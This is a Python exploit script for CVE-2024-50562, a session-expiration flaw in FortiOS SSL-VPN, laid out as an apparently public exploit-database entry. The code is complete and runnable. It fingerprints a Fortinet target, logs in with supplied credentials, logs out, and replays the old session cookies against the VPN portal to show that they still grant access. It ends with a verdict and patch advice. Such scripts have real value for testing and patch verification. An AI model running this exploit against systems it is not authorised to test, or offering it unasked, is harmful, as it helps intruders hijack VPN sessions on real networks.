#!/usr/bin/env python3 """ # Exploit Title: FortiOS SSL-VPN 7.4.4 - Insufficient Session Expiration & Cookie Reuse # Date: 2025-06-15 # Exploit Author: Shahid Parvez Hakim (BugB Technologies) # Vendor Homepage: https://www.fortinet.com # Software Link: https://www.fortinet.com/products/secure-sd-wan/fortigate # Version: FortiOS 7.6.0, 7.4.0-7.4.7, 7.2.0-7.2.10, 7.0.x (all), 6.4.x (all) # Tested on: FortiOS 7.4.x, 7.2.x # CVE: CVE-2024-50562 # CVSS: 4.4 (Medium) # Category: Session Management # CWE: CWE-613 (Insufficient Session Expiration) Description: An insufficient session expiration vulnerability in FortiOS SSL-VPN allows an attacker to reuse stale session cookies after logout, potentially leading to unauthorized access. The SVPNTMPCOOKIE remains valid even after the primary SVPNCOOKIE is invalidated during logout. References: - https://fortiguard.com/psirt/FG-IR-24-339 - https://nvd.nist.gov/vuln/detail/CVE-2024-50562 Usage: python3 fortinet_cve_2024_50562.py -t -u -p [options] Example: python3 fortinet_cve_2024_50562.py -t 192.168.1.10:443 -u testuser -p testpass python3 fortinet_cve_2024_50562.py -t 10.0.0.1:4433 -u admin -p password123 --realm users """ import argparse import requests import urllib3 import re import sys from urllib.parse import urlparse # Disable SSL warnings for testing urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) class FortinetExploit: def __init__(self, target, username, password, realm="", timeout=10, force=False): self.target = target self.username = username self.password = password self.realm = realm self.timeout = timeout self.force = force self.base_url = f"https://{target}" self.session = None def banner(self): """Display exploit banner""" print("=" * 70) print("CVE-2024-50562 - Fortinet SSL-VPN Session Management Bypass") print("Author: Shahid Parvez Hakim (BugB Technologies)") print("CVSS: 4.4 (Medium) | FG-IR-24-339") print("=" * 70) print(f"Target: {self.target}") print(f"User: {self.username}") print("-" * 70) def validate_target(self): """Check if target is reachable and is Fortinet SSL-VPN""" try: print("[*] Validating target...") response = requests.get(f"{self.base_url}/remote/login", verify=False, timeout=self.timeout) # More flexible detection for Fortinet SSL-VPN fortinet_indicators = [ "fortinet", "fortigate", "forticlient", "sslvpn", "/remote/login", "SVPNCOOKIE", "logincheck", "hostcheck_install", "fgt_lang", "realm" ] response_text = response.text.lower() detected_indicators = [indicator for indicator in fortinet_indicators if indicator in response_text] if detected_indicators: print(f"[+] Target confirmed as Fortinet SSL-VPN (indicators: {', '.join(detected_indicators[:3])})") return True elif response.status_code == 200: print("[!] Target reachable but Fortinet detection uncertain - proceeding anyway") return True else: print("[-] Target does not appear to be Fortinet SSL-VPN") return False except requests.exceptions.RequestException as e: print(f"[-] Connection failed: {e}") return False def attempt_login(self): """Attempt to authenticate with provided credentials""" try: print("[*] Attempting authentication...") self.session = requests.Session() self.session.verify = False # Get login page first self.session.get(f"{self.base_url}/remote/login?lang=en", timeout=self.timeout) # Attempt login login_data = { "ajax": "1", "username": self.username, "realm": self.realm, "credential": self.password } headers = {"Content-Type": "application/x-www-form-urlencoded"} response = self.session.post(f"{self.base_url}/remote/logincheck", data=login_data, headers=headers, timeout=self.timeout) # Check if login was successful if re.search(r"\bret=1\b", response.text) and "/remote/hostcheck_install" in response.text: print("[+] Authentication successful!") # Extract and display cookies cookies = requests.utils.dict_from_cookiejar(response.cookies) self.display_cookies(cookies, "Login") return True, cookies else: print("[-] Authentication failed!") print(f"[!] Server response: {response.text[:100]}...") return False, {} except requests.exceptions.RequestException as e: print(f"[-] Login request failed: {e}") return False, {} def perform_logout(self): """Perform logout and check cookie invalidation""" try: print("[*] Performing logout...") response = self.session.get(f"{self.base_url}/remote/logout", timeout=self.timeout) cookies_after_logout = requests.utils.dict_from_cookiejar(response.cookies) print("[+] Logout completed") self.display_cookies(cookies_after_logout, "Logout") return cookies_after_logout except requests.exceptions.RequestException as e: print(f"[-] Logout request failed: {e}") return {} def test_session_reuse(self, original_cookies): """Test if old session cookies still work after logout""" try: print("[*] Testing session cookie reuse...") # Create new session to simulate attacker exploit_session = requests.Session() exploit_session.verify = False # Use original login cookies exploit_session.cookies.update(original_cookies) # Try to access protected resource test_url = f"{self.base_url}/sslvpn/portal.html" response = exploit_session.get(test_url, timeout=self.timeout) # Check if we're still authenticated if self.is_authenticated_response(response.text): print("[!] VULNERABILITY CONFIRMED!") print("[!] Session cookies remain valid after logout") print("[!] CVE-2024-50562 affects this system") return True else: print("[+] Session properly invalidated") print("[+] System appears to be patched") return False except requests.exceptions.RequestException as e: print(f"[-] Session reuse test failed: {e}") return False def is_authenticated_response(self, response_body): """Check if response indicates authenticated access""" # If response contains login form elements, user is not authenticated if re.search(r"/remote/login|name=[\"']username[\"']", response_body, re.I): return False return True def display_cookies(self, cookies, context): """Display cookies in a formatted way""" if cookies: print(f"[*] Cookies after {context}:") for name, value in cookies.items(): # Truncate long values for display display_value = value[:20] + "..." if len(value) > 20 else value print(f" {name} = {display_value}") # Highlight important cookies for CVE if name == "SVPNTMPCOOKIE": print(f" [!] Found SVPNTMPCOOKIE - Target for CVE-2024-50562") elif name == "SVPNCOOKIE": print(f" [*] Found SVPNCOOKIE - Primary session cookie") else: print(f"[*] No cookies set after {context}") def exploit(self): """Main exploit routine""" self.banner() # Step 1: Validate target (unless forced to skip) if not self.force: if not self.validate_target(): print("[!] Use --force to skip target validation and proceed anyway") return False else: print("[*] Skipping target validation (--force enabled)") # Step 2: Attempt login login_success, login_cookies = self.attempt_login() if not login_success: return False # Step 3: Perform logout logout_cookies = self.perform_logout() # Step 4: Test session reuse vulnerable = self.test_session_reuse(login_cookies) # Step 5: Display results print("\n" + "=" * 70) print("EXPLOIT RESULTS") print("=" * 70) if vulnerable: print("STATUS: VULNERABLE") print("CVE-2024-50562: CONFIRMED") print("SEVERITY: Medium (CVSS 4.4)") print("\nRECOMMENDATIONS:") print("- Upgrade to patched FortiOS version") print("- FortiOS 7.6.x: Upgrade to 7.6.1+") print("- FortiOS 7.4.x: Upgrade to 7.4.8+") print("- FortiOS 7.2.x: Upgrade to 7.2.11+") print("- FortiOS 7.0.x/6.4.x: Migrate to supported version") else: print("STATUS: NOT VULNERABLE") print("CVE-2024-50562: NOT AFFECTED") print("\nSystem appears to be patched or not vulnerable") return vulnerable def parse_target(target_string): """Parse target string and extract host:port""" if ':' not in target_string: # Default HTTPS port if not specified return f"{target_string}:443" return target_string def main(): parser = argparse.ArgumentParser( description="CVE-2024-50562 - Fortinet SSL-VPN Session Management Bypass Exploit", formatter_class=argparse.RawDescriptionHelpFormatter, epilog=""" Examples: python3 %(prog)s -t 192.168.1.10:443 -u admin -p password python3 %(prog)s -t 10.0.0.1:4433 -u testuser -p test123 --realm employees python3 %(prog)s -t vpn.company.com -u user@domain.com -p pass --timeout 15 python3 %(prog)s -t 192.168.1.10:443 -u admin -p password --force """ ) parser.add_argument('-t', '--target', required=True, help='Target IP:PORT (e.g., 192.168.1.10:443)') parser.add_argument('-u', '--username', required=True, help='Username for authentication') parser.add_argument('-p', '--password', required=True, help='Password for authentication') parser.add_argument('--realm', default='', help='Authentication realm (optional)') parser.add_argument('--timeout', type=int, default=10, help='Request timeout in seconds (default: 10)') parser.add_argument('--force', action='store_true', help='Skip target validation and proceed anyway') args = parser.parse_args() # Parse and validate target target = parse_target(args.target) try: # Initialize and run exploit exploit = FortinetExploit(target, args.username, args.password, args.realm, args.timeout, args.force) vulnerable = exploit.exploit() # Exit with appropriate code sys.exit(0 if vulnerable else 1) except KeyboardInterrupt: print("\n[!] Exploit interrupted by user") sys.exit(1) except Exception as e: print(f"[!] Unexpected error: {e}") sys.exit(1) if __name__ == "__main__": main()